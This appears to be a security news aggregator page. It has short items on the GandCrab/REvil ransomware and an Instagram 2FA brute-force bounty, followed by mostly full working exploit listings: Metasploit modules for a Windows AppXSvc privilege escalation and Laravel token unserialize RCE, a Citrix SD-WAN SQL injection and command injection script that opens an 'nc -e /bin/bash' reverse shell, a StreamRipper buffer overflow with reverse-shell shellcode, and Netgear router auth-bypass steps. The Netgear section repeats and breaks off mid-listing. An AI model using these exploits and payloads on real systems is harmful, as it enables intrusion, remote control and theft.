An aggregate of all of GoVanguard’s InfoSec & Cybersecurity related Posts, News, Threats and Data Feeds.

image
By David Balaban And Again About Hosting Security! Today, there are still many people who think that the Internet is as a comprehensive encyclopedia of the world. However, their number is decreasing. There are more and more people who rightfully consider the Internet as a means of earning money. It can attract a large number of new customers […] This is a post from HackRead.com Read the original post: How to secure your website – InfoSec tips for newbie website owners

Source

image
The cybercriminals behind the GandCrab ransomware-as-a-service (RaaS) offering recently announced they were closing up shop and retiring after having allegedly earned more than $2 billion in extortion payments from victims. But a growing body of evidence suggests the GandCrab team have instead quietly regrouped behind a more exclusive and advanced ransomware program known variously as “REvil,” “Sodin,” and “Sodinokibi.” “We are getting a well-deserved retirement,” the GandCrab administrator(s) wrote in their farewell message on May 31. “We are a living proof that you can do evil and get off scot-free.” However, it now appears the GandCrab team had already begun preparations to re-brand under a far more private ransomware-as-a-service offering months before their official “retirement.” In late April, researchers at Cisco Talos spotted a new ransomware strain dubbed Sodinokibi that was used to deploy GandCrab, which encrypts files on infected systems unless and until the victim pays the demanded sum. A month later, GandCrab would announce its closure. A payment page for a victim of REvil, a.k.a. Sodin and Sodinokibi. Meanwhile, in the first half of May an individual using the nickname “Unknown” began making deposits totaling more than USD $130,000 worth of virtual currencies on two top cybercrime forums. The down payments were meant to demonstrate the actor meant business in his offer to hire just a handful of affiliates to drive a new, as-yet unnamed ransomware-as-a-service offering. “We are not going to hire as many people as possible,” Unknown told forum members in announcing the new RaaS program. “Five affiliates more can join the program and then we’ll go under the radar. Each affiliate is guaranteed USD 10,000. Your cut is 60 percent at the beginning and 70 percent after the first three payments are made. Five affiliates are guaranteed [USD] 50,000 in total. We have been working for several years, specifically five years in this field. We are interested in professionals.” Asked by forum members to name the ransomware service, Unknown said it had been mentioned in media reports but that he wouldn’t be disclosing technical details of the program or its name for the time being. Unknown said it was forbidden to install the new ransomware strain on any computers in the Commonwealth of Independent States (CIS), which includes Armenia, Belarus, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Turkmenistan, Ukraine and Uzbekistan. The prohibition against spreading malware in CIS countries has long been a staple of various pay-per-install affiliate programs that are operated by crooks residing in those nations. The idea here is not to attract attention from local law enforcement responding to victim complaints (and/or perhaps to stay off the radar of tax authorities and extortionists in their hometowns). But Kaspersky Lab discovered that Sodinokobi/REvil also includes one other nation on its list of countries that affiliates should avoid infecting: Syria. Interestingly, latter versions of GandCrab took the same unusual step. What’s the significance of the Syria connection? In October 2018, a Syrian man tweeted that he had lost access to all pictures of his deceased children after his computer got infected with GandCrab. “They want 600 dollars to give me back my children, that’s what they’ve done, they’ve taken my boys away from me for a some filthy money,” the victim wrote. “How can I pay them 600 dollars if I barely have enough money to put food on the table for me and my wife?” That heartfelt appeal apparently struck a chord with the developer(s) of GandCrab, who soon after released a decryption key that let all GandCrab victims in Syria unlock their files for free. But this rare display of mercy probably cost the GandCrab administrators and its affiliates a pretty penny. That’s because a week after GandCrab released decryption keys for all victims in Syria, the No More Ransom project released a free GandCrab decryption tool developed by Romanian police in collaboration with law enforcement offices from a number of countries and security firm Bitdefender. The GandCrab operators later told affiliates that the release of the decryption keys for Syrian victims allowed the entropy used by the random number generator for the ransomware’s master key to be calculated. Approximately 24 hours after NoMoreRansom released its free tool, the GandCrab team shipped an update that rendered it unable to decrypt files. There are also similarities between the ways that both GandCrab and REvil generate URLs that are used as part of the infection process, according a recent report from Dutch security firm Tesorion. “Even though the code bases differ significantly, the lists of strings that are used to generate the URLs are very similar (although not identical), and there are some striking similarities in how this specific part of the code works, e.g., in the somewhat far-fetched way that the random length of the filename is repeatedly recalculated,” Tesorion observed. My guess is the GandCrab team has not retired, and has simply regrouped and re-branded due to the significant amount of attention from security researchers and law enforcement investigators. It seems highly unlikely that such a successful group of cybercriminals would just walk away from such an insanely profitable enterprise.

Source

image
A researcher earned a $30,000 bug bounty from Facebook after discovering a weakness in the Instagram mobile recovery process that would allow account takeover for any user, via mass brute-force campaigns. Independent researcher Laxman Muthiyah took a look at Instagram’s mobile recovery flow, which involves a user receiving a six-digit passcode to their mobile number for two-factor account authentication (2FA). So, with six digits that means there are 1 million possible combinations of digits making up the codes. “Therefore, if we are able to try all the 1 million codes on the verify-code endpoint, we would be able to change the password of any account,” he explained in a Sunday posting. Though trying 1 million codes in the 10 minutes before the one-time passcode expires may sound challenging, this kind of brute-forcing is possible with an automated script and a cloud service account, he said. “In a real attack scenario, the attacker needs 5,000 IP [addresses] to hack an account,” he said. “It sounds big but that’s actually easy if you use a cloud service provider like Amazon or Google. It would cost around 150 dollars to perform the complete attack of one million codes.” The recovery mechanism does have a rate-limiting protection – i.e., the number of log-in attempts within a set amount of time from any one IP address is restricted. In Muthiyah’s first attempt, he sent around 1,000 requests, but only 250 of them went through. However, he also discovered that Instagram doesn’t blacklist IP addresses that have exceeded the number of allowed attempts for a certain time period, so he could toggle between IP addresses in order to perform a continuous attack. Also, he was able to confuse the rate-limiting mechanism by sending concurrent requests, resulting in a race condition or hazard, to double the number of attempts that would go through. “I found two things that allowed me to bypass their rate-limiting mechanism: Race hazard and IP rotation,” he said. “Sending concurrent requests using multiple IPs allowed me to send a large number of requests without getting limited. The number of requests we can send is dependent on concurrency of requests and the number of IPs we use. Also, I realized that the code expires in 10 minutes, it makes the attack even harder, therefore we need thousands of IPs to perform the attack.” With the aforementioned $150 cloud set-up, he was able to demonstrate this exact scenario, he noted, putting together a proof-of-concept video that he submitted to the Facebook security team. They verified the issue and congratulated him, paying out a $30,000 bounty in the process. “The Facebook security team was convinced after providing the above video of sending 200K valid requests,” Muthiyah said. “They were also quick in addressing and fixing the issue.” Is 2FA Broken? Most 2FA schemes that use mobile text verification involve six-digit, one-time passcodes that expire within a few minutes, which brings up the question of how many services are vulnerable to the same kind of attack. It should be noted that there have been other bypasses of SMS-based 2FA as well, including the use of a penetration testing tool called Modlishka, unveiled in January, and an APT attack late last year called the Return of Charming Kitten. The latter campaign used a fake but convincing phishing page to ask users to enter their credentials, which the attackers then entered into the real log-in page in real time. If the accounts are protected by 2FA, the attackers redirected targets to a new page where victims can enter the one-time password; the attackers can then take that and enter it into the real page to gain access to the account. Earlier in December, an Android Trojan was uncovered that steals money from PayPal accounts even with 2FA on. Posing as a battery optimization tool, it asks for excessive accessibility permissions, which allow it to observe activity on other apps. Then it lurks on the phone and waits for someone to open PayPal and log in. Because the malware does not rely on stealing PayPal login credentials and instead waits for users to log into the official PayPal app themselves, it also bypasses PayPal’s 2FA. Don’t miss our free live Threatpost webinar, “Streamlining Patch Management,” on Wed., July 24, at 2:00 p.m. EDT. Please join Threatpost editor Tom Spring and a panel of patch experts as they discuss the latest trends in Patch Management, how to find the right solution for your business and what the biggest challenges are when it comes to deploying a program. Register and Learn More

Source

There exists a privilege escalation vulnerability for Windows 10 builds prior to build 17763. Due to the AppXSvc’s improper handling of hard links, a user can gain full privileges over a SYSTEM-owned file. The user can then utilize the new file to execute code as SYSTEM. This Metasploit module employs a technique using the Diagnostics Hub Standard Collector Service (DiagHub) which was discovered by James Forshaw to load and execute a DLL as SYSTEM.

MD5 | c94395650cca2e92c0d550946f0e7a22

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::FileInfo
include Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'AppXSvc Hard Link Privilege Escalation',
'Description' => %q(
There exists a privilege escalation vulnerability for
Windows 10 builds prior to build 17763. Due to the AppXSvc's
improper handling of hard links, a user can gain full
privileges over a SYSTEM-owned file. The user can then utilize
the new file to execute code as SYSTEM.

This module employs a technique using the Diagnostics Hub Standard
Collector Service (DiagHub) which was discovered by James Forshaw to
load and execute a DLL as SYSTEM.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Nabeel Ahmed', # Vulnerability discovery and PoC
'James Forshaw', # Code creating hard links and communicating with DiagHub service
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-0841' ],
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
],
'Targets' =>
[
[ 'Windows 10', { 'Platform' => 'win' } ]
],
'DisclosureDate' => '2019-04-09',
'DefaultTarget' => 0
))
end

def check
return CheckCode::Unknown if sysinfo['OS'] !~ /windowss10/i

path = expand_path('%WINDIR%\system32\win32k.sys')
major, minor, build, revision, brand = file_version(path)
return CheckCode::Appears if build < 17763

CheckCode::Detected
end

def upload_file(file_name, file_path)
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
write_file(file_path, contents)
register_file_for_cleanup(file_path)
rescue
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
end

def init_process
print_status("Attempting to launch Microsoft Edge minimized.")
cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
end

def mk_hard_link(src, target, link_exe)
out = cmd_exec("cmd.exe /c #{link_exe} "#{src}" "#{target}"")

return (out && out.include?('Done'))
end

def write_payload
print_status('Writing the payload to disk')
code = generate_payload_dll
@original_data = read_file(@rtf_path)
write_file(@rtf_path, code)
end

def exploit
vuln_status = check
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown

fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"")
dat_path = expand_path("%USERPROFILE%\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\Settings.dat")
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)

if session.arch == ARCH_X86
exe_name = 'CVE-2019-0841_x86.exe'
f_name = 'diaghub_load_x86.exe'
elsif session.arch == ARCH_X64
exe_name = 'CVE-2019-0841_x64.exe'
f_name = 'diaghub_load_x64.exe'
end
link_file_name = expand_path("%TEMP%\#{Rex::Text.rand_text_alpha(6...8)}.exe")
upload_file(exe_name, link_file_name)

@rtf_path = expand_path('%WINDIR%\system32\license.rtf')
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
print_good('Successfully created hard link')
init_process
cmd_exec("taskkill /F /IM MicrosoftEdge.exe")

write_payload
diaghub_path = expand_path("%TEMP%\#{Rex::Text.rand_text_alpha(8..12)}")
upload_file(f_name, diaghub_path)
cmd = ""#{diaghub_path}" "license.rtf""
cmd_exec(cmd)
end

def cleanup
folder_path = expand_path("%TEMP%\etw")
dir_rm(folder_path)

write_file(@rtf_path, @original_data)
super
end
end

This Metasploit module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x up to 5.6.29. Remote command execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php. Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix. In some cases the APP_KEY is leaked which allows for discovery and exploitation.

MD5 | 7094c48d642dbb2c66067663c6ef39d9

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
In some cases the APP_KEY is leaked which allows for discovery and exploitation.
},
'DisclosureDate' => '2018-08-07',
'Author' =>
[
'Ståle Pettersen', # Discovery
'aushack', # msf exploit + other leak
],
'References' =>
[
['CVE', '2018-15133'],
['CVE', '2017-16894'],
['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
'Payload' => { 'DisableNops' => true },
'Targets' => [[ 'Automatic', {} ]],
))

register_options([
OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
})

# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
return CheckCode::Unknown
end

auth_token = check_appkey
if auth_token.blank? || test_appkey(auth_token) == false
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
return CheckCode::Detected
end

random_string = Rex::Text.rand_text_alphanumeric(12)

1.upto(4) do |method|
vuln = generate_token("echo #{random_string}", auth_token, method)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'headers' => {
'X-XSRF-TOKEN' => "#{vuln}",
}
})

if res.body.include?(random_string)
return CheckCode::Vulnerable
# Not conclusive but witnessed in the wild
elsif res.body.include?('Method Not Allowed')
return CheckCode::Safe
end
end
CheckCode::Detected
rescue Rex::ConnectionError
CheckCode::Unknown
end

def env_leak
key = ''
vprint_status 'Checking for CVE-2017-16894 .env information leak'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '.env'),
'method' => 'GET'
})

# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY=base64:(.*)/
key = $1

if key
vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
return key
end

vprint_status 'Website .env file exists but didn't find a suitable APP_KEY'
key
end

def framework_leak(decrypt_ex = true)
key = ''
if decrypt_ex
# Possible config error / 0day found by aushack during pentest
# Seen in the wild with recent releases
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'headers' => {
'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
}
})

return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
else
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST'
})

return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
end
# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?

# Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
if res.body =~ />base64:(.*)/
key = $1
vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
end

key
end

def check_appkey
key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
return key unless key.empty?

vprint_status 'APP_KEY not set. Will try to find it...'
key = env_leak
key = framework_leak if key.empty?
key = framework_leak(false) if key.empty?
key.empty? ? false : key
end

def test_appkey(value)
value = Rex::Text.decode_base64(value)
return true if value && value.length.to_i == 32

false
end

def generate_token(cmd, key, method)
# Ported phpggc Laravel RCE php objects :)
case method
when 1
payload_decoded = 'O:40:"IlluminateBroadcastingPendingBroadcast":2:{s:9:"' + "x00" + '*' + "x00" + 'events";O:15:"FakerGenerator":1:{s:13:"' + "x00" + '*' + "x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "x00" + '*' + "x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
when 2
payload_decoded = 'O:40:"IlluminateBroadcastingPendingBroadcast":2:{s:9:"' + "x00" + '*' + "x00" + 'events";O:28:"IlluminateEventsDispatcher":1:{s:12:"' + "x00" + '*' + "x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "x00" + '*' + "x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
when 3
payload_decoded = 'O:40:"IlluminateBroadcastingPendingBroadcast":1:{s:9:"' + "x00" + '*' + "x00" + 'events";O:39:"IlluminateNotificationsChannelManager":3:{s:6:"' + "x00" + '*' + "x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "x00" + '*' + "x00" + 'defaultChannel";s:1:"x";s:17:"' + "x00" + '*' + "x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
when 4
payload_decoded = 'O:40:"IlluminateBroadcastingPendingBroadcast":2:{s:9:"' + "x00" + '*' + "x00" + 'events";O:31:"IlluminateValidationValidator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "x00" + '*' + "x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
end

cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested
cipher.encrypt
cipher.key = Rex::Text.decode_base64(key)
iv = cipher.random_iv

value = cipher.update(payload_decoded) + cipher.final
pload = Rex::Text.encode_base64(value)
iv = Rex::Text.encode_base64(iv)
mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)
iv = iv.gsub('/', '\/') # Escape slash
pload = pload.gsub('/', '\/') # Escape slash
json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
json_out = Rex::Text.encode_base64(json_value)

json_out
end

def exploit
auth_token = check_appkey
if auth_token.blank? || test_appkey(auth_token) == false
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
return
end

1.upto(4) do |method|
sploit = generate_token(payload.encoded, auth_token, method)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'headers' => {
'X-XSRF-TOKEN' => sploit,
}
}, 5)

# Stop when one of the deserialization attacks works
break if session_created?

if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive
print_status 'Target appears to be patched or otherwise immune'
end
end
end
end

Microsoft Windows suffers from an HTTP to SMB NTLM reflection that leads to a privilege escalation.

MD5 | 62e80bf3709f00ac9657fb8dd16d9822

Citrix SD-WAN Appliance version 10.2.2 suffers from authentication bypass and remote command execution vulnerabilities.

MD5 | 1c552352db4cb01f5841843a21926509

# Exploit Title: Citrix SD-WAN Appliance 10.2.2 Auth Bypass and Remote Command Execution
# Date: 2019-07-12
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: https://www.citrix.com
# Product: Citrix SD-WAN
# Software Link: https://www.citrix.com/downloads/citrix-sd-wan/
# Version: Tested against 10.2.2
# Tested on:
# - Vendor-provided .OVA file
# CVE: CVE-2019-12989, CVE-2019-12991
#
# See Also:
# https://www.tenable.com/security/research/tra-2019-32
# https://medium.com/tenable-techblog/an-exploit-chain-against-citrix-sd-wan-709db08fb4ac
# https://support.citrix.com/article/CTX251987
#
# This code exploits both CVE-2019-12989 and CVE-2019-12991
# You'll need your own Netcat listener

import requests, urllib
import sys, os, argparse
import random
from OpenSSL import crypto
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 10 # sec

def err_and_exit(msg):
print 'nnERROR: ' + msg + 'nn'
sys.exit(1)

# CVE-2019-12989
# auth bypass via file write
def do_sql_injection(base_url):
url = base_url + '/sdwan/nitro/v1/config/get_package_file?action=file_download'
headers = { 'SSL_CLIENT_VERIFY' : 'SUCCESS' }
token = random.randint(10000, 99999)
json = {
"get_package_file": {
"site_name" : "blah' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_" + str(token) + "';#",
"appliance_type" : "primary",
"package_type" : "active"
}
}

try:
r = requests.post(url, headers=headers, json=json, verify=False, timeout=TIMEOUT)
except requests.exceptions.ReadTimeout:
return None

# error is expected
expected = {"status":"fail","message":"Invalid value specified for site_name or appliance_type"}
if (r.status_code == 400 and r.json() == expected):
return token
else:
return None

# CVE-2019-12991
# spawns a reverse shell
def do_cmd_injection(base_url, token, ncip, ncport):
cmd = 'sudo nc -nv %s %d -e /bin/bash' % (ncip, ncport) #
url = base_url + '/cgi-bin/installpatch.cgi?swc-token=%d&installfile=`%s`' % (token, cmd)
success = False
try:
r = requests.get(url, verify=False, timeout=TIMEOUT)
except requests.exceptions.ReadTimeout:
success = True

# a timeout is success. it means we should have a shell
return success

##### MAIN #####

desc = 'Citrix SD-WAN Appliance Auth Bypass and Remote Command Execution'
arg_parser = argparse.ArgumentParser(description=desc)
arg_parser.add_argument('-t', required=True, help='Citrix SD-WAN IP Address (Required)')
arg_parser.add_argument('-ncip', required=True, help='Netcat listener IP')
arg_parser.add_argument('-ncport', type=int, default=4444, help='Netcat listener port (Default: 4444)')

args = arg_parser.parse_args()

print "Starting... be patient. This takes a sec."

# Path to target app
base_url = 'https://' + args.t

# do sql injection to get a swc-token for auth bypass
token = do_sql_injection(base_url)
if (token is None):
err_and_exit('SQL injection failed.')

print 'SQL injection successful! Your swc-token is ' + str(token) + '.'

# if this worked, do the command injection
# create a new admin user and spawn a reverse shell
success = do_cmd_injection(base_url, token, args.ncip, args.ncport)

if success is False:
err_and_exit('Not so sure command injection worked. Expected a timeout.')

print 'Seems like command injection succeeded.'
print 'Check for your shell!n'
print 'To add an admin web user, run this command: perl /home/talariuser/bin/user_management.pl addUser eviladmin evilpassword 1'

Streamripper version 2.6 Song Pattern buffer overflow exploit.

MD5 | dd24c19a7001e0ae2db79741d79b9334

#!/usr/bin/python

#Exploit Title: StreamRipper32 Buffer Overflow
#Date: 07/2019
#Exploit Author: Andrey Stoykov (OSCP)
#Tested On: Win7 SP1 x64
#Software Link: http://streamripper.sourceforge.net/sr32/StreamRipper32_2_6.exe
#Version: 2.6
#Steps To Reproduce: Double click on "Add" in the "Station/Song Section" and paste the output in "Song Pattern"

file = open('exploit.txt', 'wb')

#msfpayload windows/shell_reverse_tcp LHOST=192.168.56.6 EXITFUNC=thread LPORT=4444 R | msfencode -e x86/alpha_mixed -b "x00x0ax0dxb4xb8xbcxbdxbe" -f c

shellcode = ("xdbxd7xd9x74x24xf4x59x49x49x49x49x49x49x49" +
"x49x49x49x43x43x43x43x43x43x43x37x51x5ax6a" +
"x41x58x50x30x41x30x41x6bx41x41x51x32x41x42" +
"x32x42x42x30x42x42x41x42x58x50x38x41x42x75" +
"x4ax49x39x6cx48x68x4bx39x53x30x65x50x63x30" +
"x45x30x4fx79x6bx55x64x71x4bx62x42x44x4ex6b" +
"x50x52x44x70x4ex6bx61x42x76x6cx4ex6bx61x42" +
"x52x34x6cx4bx54x32x46x48x56x6fx6ex57x70x4a" +
"x37x56x35x61x79x6fx56x51x4fx30x4cx6cx57x4c" +
"x31x71x71x6cx46x62x46x4cx77x50x6fx31x38x4f" +
"x66x6dx73x31x6bx77x79x72x78x70x66x32x33x67" +
"x6ex6bx43x62x34x50x4cx4bx43x72x75x6cx57x71" +
"x5ax70x6cx4bx61x50x30x78x6fx75x39x50x32x54" +
"x63x7ax36x61x4ax70x36x30x4cx4bx51x58x34x58" +
"x4cx4bx76x38x75x70x53x31x5ax73x79x73x35x6c" +
"x32x69x6ex6bx66x54x4ex6bx56x61x49x46x35x61" +
"x49x6fx74x71x6bx70x4cx6cx49x51x7ax6fx64x4d" +
"x55x51x79x57x54x78x49x70x32x55x58x74x44x43" +
"x73x4dx4bx48x55x6bx33x4dx76x44x33x45x6bx52" +
"x66x38x6cx4bx53x68x44x64x35x51x38x53x73x56" +
"x4cx4bx54x4cx70x4bx4cx4bx32x78x77x6cx35x51" +
"x5ax73x6ex6bx65x54x4cx4bx76x61x7ax70x4ex69" +
"x30x44x44x64x61x34x71x4bx73x6bx53x51x61x49" +
"x62x7ax42x71x4bx4fx59x70x52x78x53x6fx62x7a" +
"x6cx4bx57x62x4ax4bx4fx76x73x6dx51x78x74x73" +
"x36x52x37x70x45x50x52x48x64x37x31x63x35x62" +
"x33x6fx33x64x43x58x62x6cx33x47x36x46x37x77" +
"x39x6fx7ax75x6fx48x6ex70x73x31x35x50x53x30" +
"x45x79x68x44x43x64x46x30x32x48x56x49x6dx50" +
"x72x4bx33x30x39x6fx39x45x50x50x52x70x76x30" +
"x36x30x67x30x46x30x53x70x72x70x51x78x49x7a" +
"x56x6fx39x4fx49x70x69x6fx78x55x6bx39x6bx77" +
"x62x48x49x50x6fx58x54x78x53x36x50x68x73x32" +
"x45x50x66x71x31x4cx4dx59x79x76x42x4ax64x50" +
"x72x76x62x77x65x38x6ex79x6ex45x42x54x73x51" +
"x69x6fx78x55x61x78x35x33x30x6dx51x74x57x70" +
"x6bx39x4dx33x43x67x31x47x36x37x66x51x69x66" +
"x71x7ax75x42x32x79x62x76x59x72x69x6dx52x46" +
"x4bx77x51x54x31x34x65x6cx77x71x55x51x6cx4d" +
"x30x44x74x64x56x70x49x56x57x70x53x74x72x74" +
"x32x70x42x76x50x56x70x56x51x56x32x76x42x6e" +
"x66x36x33x66x73x63x66x36x45x38x64x39x58x4c" +
"x55x6fx4cx46x79x6fx79x45x6ex69x69x70x42x6e" +
"x61x46x77x36x49x6fx30x30x35x38x45x58x4cx47" +
"x45x4dx51x70x79x6fx38x55x4dx6bx4bx50x65x4d" +
"x57x5ax55x5ax73x58x49x36x4cx55x6dx6dx4dx4d" +
"x59x6fx6ax75x77x4cx64x46x73x4cx77x7ax4bx30" +
"x59x6bx59x70x50x75x33x35x6fx4bx61x57x46x73" +
"x62x52x70x6fx61x7ax45x50x33x63x69x6fx78x55" +
"x41x41")


#74302E3F comctl32.DLL
buffer = "A"*256 + "x3fx2ex30x74" + "x90"*10 + shellcode + "C"*(260-256-4-10)
file.write(buffer)
file.close()

Netgear WiFi router versions JWNR2010v5 and R6080 suffer from authentication bypass vulnerabilities.

MD5 | d620b4215510a859c511dd8ac8d9d84c

# Exploit Title: NETGEAR WiFi Router R6080 - Security Questions Answers Disclosure
# Date: 13/07/2019
# Exploit Author: Wadeek
# Hardware Version: R6080-100PES
# Firmware Version: 1.0.0.34 / 1.0.0.40
# Vendor Homepage: https://www.netgear.com/support/product/R6080.aspx
# Firmware Link: http://www.downloads.netgear.com/files/GDC/R6080/(R6080-V1.0.0.34.zip or R6080-V1.0.0.40.zip)

== Files Containing Juicy Info ==
>> http://192.168.1.1/currentsetting.htm
Firmware=V1.0.0.34WW
Model=R6080
>> http://192.168.1.1:56688/rootDesc.xml (Server: Unspecified, UPnP/1.0, Unspecified)
SSSSSSSNNNNNN

== Security Questions Bypass > Answers Disclosure ==
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)

htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
(replace)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
(by)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=PWD_password.htm&SID=



(repeat recovery process for get admin password)

== Authenticated Telnet Command Execution ==
>> http://admin:Str0nG-!P4ssW0rD@192.168.1.1/setup.cgi?todo=debug
:~$ telnet 192.168.1.1
R6080 login: admin
Password: Str0nG-!P4ssW0rD
{
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
}



# Exploit Title: NETGEAR WiFi Router R6080 - Security Questions Answers Disclosure
# Date: 13/07/2019
# Exploit Author: Wadeek
# Hardware Version: R6080-100PES
# Firmware Version: 1.0.0.34 / 1.0.0.40
# Vendor Homepage: https://www.netgear.com/support/product/R6080.aspx
# Firmware Link: http://www.downloads.netgear.com/files/GDC/R6080/(R6080-V1.0.0.34.zip or R6080-V1.0.0.40.zip)

== Files Containing Juicy Info ==
>> http://192.168.1.1/currentsetting.htm
Firmware=V1.0.0.34WW
Model=R6080
>> http://192.168.1.1:56688/rootDesc.xml (Server: Unspecified, UPnP/1.0, Unspecified)
SSSSSSSNNNNNN

== Security Questions Bypass > Answers Disclosure ==
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)

htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
(replace)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
(by)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=PWD_password.htm&SID=



(repeat recovery process for get admin password)

== Authenticated Telnet Command Execution ==
>> http://admin:Str0nG-!P4ssW0rD@192.168.1.1/setup.cgi?todo=debug
:~$ telnet 192.168.1.1
R6080 login: admin
Password: Str0nG-!P4ssW0rD
{
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
